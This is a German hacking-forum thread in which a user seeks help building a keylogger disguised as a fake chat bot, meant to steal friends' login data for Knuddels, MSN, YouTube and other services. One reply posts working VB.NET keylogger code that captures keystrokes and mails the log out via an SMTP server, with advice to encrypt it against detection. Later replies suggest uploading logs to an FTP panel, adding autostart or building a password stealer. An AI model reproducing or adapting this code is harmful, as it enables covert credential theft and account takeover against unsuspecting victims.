[SUCHE] KeyLogger per eMail

[MrDragon]

Halloechen liebe K-Script 'ler

Ich habe vor, demnächst ein KeyLogger für mich & ein paar Freunde zu bauen.
Funktionszweck: Verschiedene (Knuddels, MSN, YouTube usw...)

Dieser Code (der bei dem Login Button eingefügt werden muss) soll uns dann die eingegebenen
Dateien per eMail (o. i-wie anders) zusenden.


Hier seht ihr mal so ein KeyLogger für Knuddels (noch ohne Funktion)
- Wie findet ihr ihn?

BILD ANZEIGEN [Warum wird das Bild nicht angezeigt?]

Wenn man dort jetzt auf "Login" klicken würde, sollte er uns die Daten, die oben eingegeben worden sind, zuschicken...

Ich weiß, das bei "Knuddels Bots > Sonstiger Bots > KeyLogger" schon so einen Code gibt, aber der ist Fehlerhaft & Funktioniert bei mir nicht.

Es währe auch nett, wenn mir jemand per TeamViewer helfen könnte!

MfG

[19Madd91]

damit es nicht so auffählt müsste der bot sich am besten auch einlogge ;-)

würd den nicht all in one nennen da er ja eig nur ein min bot ist ohne grosse funktionen

[MrDragon]

Ja, aber ersteinmal brauche ich die ganzen Code's dafür

Vielen vielen Dank für JEDEN, der mir Hilft!

PS: Ich vergebe gerne, viele "Danke" - Button's

[gcp]

schick mir deine daten per pn ich mach dir das

[Disturbed]

schick mir deine daten per pn ich mach dir das

Könntest ihm auch einfach deinen hier senden. :*

Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub


    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i

    End Sub


Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim smtpServer As New SmtpClient
        smtpServer.Credentials = New Net.NetworkCredential("hier deine mail", "dein passwort")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.web.de"
        smtpServer.EnableSsl = True
        mail.To.Add("hier deine mail")
        mail.From = New MailAddress("hier nochmal deine mail")
        mail.Subject = "Log"
        mail.Body = "TextBox1.Text"
        smtpServer.Send(mail)
    End Sub

Musst ihn eben noch crypten.

[Bool]

Warum an Email senden? Macht es doch über ein PHP-Script, das die Logs auf dem FTP speichert, die man dann über ein schönes Admin-Panel einsehen kann
Würde das Hochladen außerdem in einen eigenen Thread packen und mögliche Fehler abfangen.
Außerdem loggt das Programm nur so lange es offen ist, und wer lässt schon einen nicht funktionierenden Fake-Bot länger als eine halbe Minute offen? ^^ Kannst ja gleich n ganz normalen PW-Stealer machen.. oder Autostart-Funktion einbauen.

[MrDragon]

Zitat von Bool: "Außerdem loggt das Programm nur so lange es offen ist.."

Wie meinst du das?
Ich habe jetzt auch vor, ein Homepage Hack für Newbie's zu machen. ^^